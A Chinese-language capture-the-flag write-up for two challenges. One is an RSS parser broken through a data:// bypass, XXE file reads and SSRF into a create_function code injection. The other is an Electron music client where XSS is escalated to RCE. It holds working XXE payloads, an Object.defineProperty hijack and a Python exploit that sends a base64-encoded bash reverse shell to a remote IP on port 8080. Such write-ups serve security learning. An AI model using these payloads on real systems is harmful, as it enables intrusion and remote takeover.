W&M No.1
来写写两个题的 WriteUp,rss 和 icloudmusic。
0x01. rss
知识点:
- data:// 伪协议
- xxe
- 代码审计
- SSRF
步骤:
1、打开靶机,看下功能,直接输入一个 rss,给解析出来。
同时限制了读取的域名。
2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料:https://www.jianshu.com/p/80ce73919edb
测试没毛病。
3、别忘了 RSS 也是 XML,那么就存在 XXE 的问题,我们来试试。
参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
啊哈,出来了。
4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
5、读取结果 base64 解码一下,得到 index.php 源码。
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}
分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。
7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
8、那么就再来读读 views 下的 Admin.php。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
分析下源码,主要是这里有意思,
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>
得到返回,看到 flag 文件名。
10、读下这个文件。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>
11、Flag 到手~
0x02. icloudmusic
题目描述:
知识点:
- XSS
- Electron (XSS 到 RCE)
步骤:
1、下载客户端,打开看看。
输入歌单 ID 之后可以分享给管理员,目测 XSS。
2、查看文件包内容,将核心模块 app.assr 拉出来。
参考资料:https://jingyan.baidu.com/article/60ccbcebb2bb1264cab197b3.html
asar extract app.asar
3、打开解压之后的目录,到 src 看看。
index.html
有个 preload 到 pr.js
index.js,开了 nodeIntegration,可以在主进程的 WebView 里执行 node 语句。
main.js,获取歌单信息这里做了限制了,header 不能有单引号,title 不能超过十位,desc 不能超过 50 位。而且这个 js 是在子 WebView 里执行,相较主进程的Webview 限制就多了很多。
4、参考之前的题的 WriteUp https://github.com/imagemlt/iCloudMusic,得找基础函数来覆盖试试。在 webview 中只有 pr.js 中的函数可用,那么我们就来选个迫害对象, refreshCode 的 xhr 似乎并不能满足我们的需求–也就是跨到主进程执行 node,那迫害对象就是 play 了,其中先获取了 WebContents 的ID,然后 sendTo 发广播。
5、看了下 Electron 的文档 https://electronjs.org/docs/api/web-contents,这里有两个值得利用的地方,一个是 send,但多番实验之后不能使用,另外一个就是 hostWebContents,想想看,如果我们拿到了这个子 Webview 的 WebContents,通过 hostWebContents 这个属性拿到了主进程的 WebContents,那么我们是不是就可以享受到主进程的待遇了呢,比如…执行 node?
利用这个方法即可在 WebView 内执行 JS。
6、那么就来看一下如何拿到这个对象,我们可以看到在触发 play 函数时里面调用了 remote 模块的 getCurrentWebContents 方法,那么我们是不是可以从中拿到 WebContents 呢?
有两种办法,黑盒和白盒。
黑盒,直接覆盖所有 JS 原生函数,然后输出其接受到的对象,总有一个是我们想要的。
下面是测试 payload:
随意打开其中一段,就是将一个 JS 原生函数覆盖,然后判断参数是否有 hostWebContents 属性(有的话基本就是 WebContents 类的了),有并且有内容的话就输出。
Object.isFrozen2=Object.isFrozen;Object.isFrozen=function(...args){for(var i in args){if(args[i]){if(args[i].send !== undefined) {
console.log(args[i]);
if(args[i].hostWebContents !== undefined && args[i].hostWebContents !== null) {
console.log("Found!!!");console.log(args[i].hostWebContents);
}
}}}return this.isFrozen2(...args);}
打开云音乐,option+command+I 打开开发者工具,再输入 view.openDevTools() 打开子 Webview 的开发者工具。
控制台粘贴 poc,回车。
然后输入 play(); 回车触发播放。
可以看到找到了!点开右边发起代码位置看看。
白盒方法:
看到 https://github.com/electron/electron/blob/7825d043f2765ddab5c1b05e49d2eb5782c8421b/lib/renderer/api/remote.js#L314,有调用到 metaToValue,再看到这个函数,250 行开始各种调用,进去这些函数看看,或者直接在页面上搜索 Object. ,就可以看到应该要覆盖哪些 JS 原生函数了。
OK,那之后我们就覆盖 Object.defineProperty 这个测试了。
重新打开云音乐(play 只能调用一次),option+command+I 打开开发者工具,再输入 view.openDevTools() 打开子 Webview 的开发者工具,控制台粘贴回车。
Object.defineProperty2=Object.defineProperty;Object.defineProperty=function(...args){for(var i in args){if(args[i]){
console.log(args[i]);
if(args[i].hostWebContents !== undefined) {
if(args[i].hostWebContents.executeJavaScript !== undefined) {
console.log("Found!!!");
Object.defineProperty=Object.defineProperty2;
args[i].hostWebContents.executeJavaScript("require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{alert(`stdout: ${stdout}`);});");
}
}
}}return this.defineProperty2(...args);}
play();
可以看到成功在子 WebView 里执行命令。
7、再来思考如何攻击远程机器,因为头像 header 那里过滤了单引号,无法闭合,而后面的desc 和 title 有字数限制,就考虑在后面比如在 desc 用 eval,引用前面 header 的内容来 XSS。
8、综上, 编写 EXP 如下,直接反弹 shell 到自己 vps 的 8080 端口。由于无法正常使用单引号,双引号太多无法处理,我就 base64 了一下要执行的 js。
base64之前为 require(“child_process”).exec(“bash -c ‘bash -i >& /dev/tcp/172.247.76.60/8080 0>&1′”,(error, stdout, stderr)=>{});
import json
import requests
import hashlib
session = requests.session()
code = session.get("http://112.125.26.198:9999/code.php").json()['code']
correct_code = ""
for i in range(1, 10000001):
s = hashlib.md5(str(i).encode()).hexdigest()[0:5]
if s == code:
correct_code = str(i)
break
print(correct_code)
payload = "'};eval(window.music_info.header);t={a:'"
payload_header = 'Object.defineProperty2=Object.defineProperty;Object.defineProperty=function(...args){for(var i in args){if(args[i]){if(args[i].send !== undefined) {if(args[i].hostWebContents !== undefined && args[i].hostWebContents !== null) {console.log("Found!!!");console.log(args[i].hostWebContents);args[i].hostWebContents.executeJavaScript("eval(new Buffer(`cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjI0Ny43Ni42MC84MDgwIDA+JjEnIiwoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+e30pOw==`,`base64`).toString())");Object.defineProperty=Object.defineProperty2;}}}}return this.defineProperty2(...args);};play();'
print(payload_header)
r = session.post("http://112.125.26.198:9999/", data={'music': json.dumps({'header': payload_header, "title": "abc", 'desc': payload}), 'id': '2810583532', 'code': correct_code})
print(r.json())
9、在自己的 VPS 上监听 8080 端口。
10、运行 EXP,可以看到 shell 反弹过来了。
11、然后来看看 flag 在哪。
13、Flag 到手~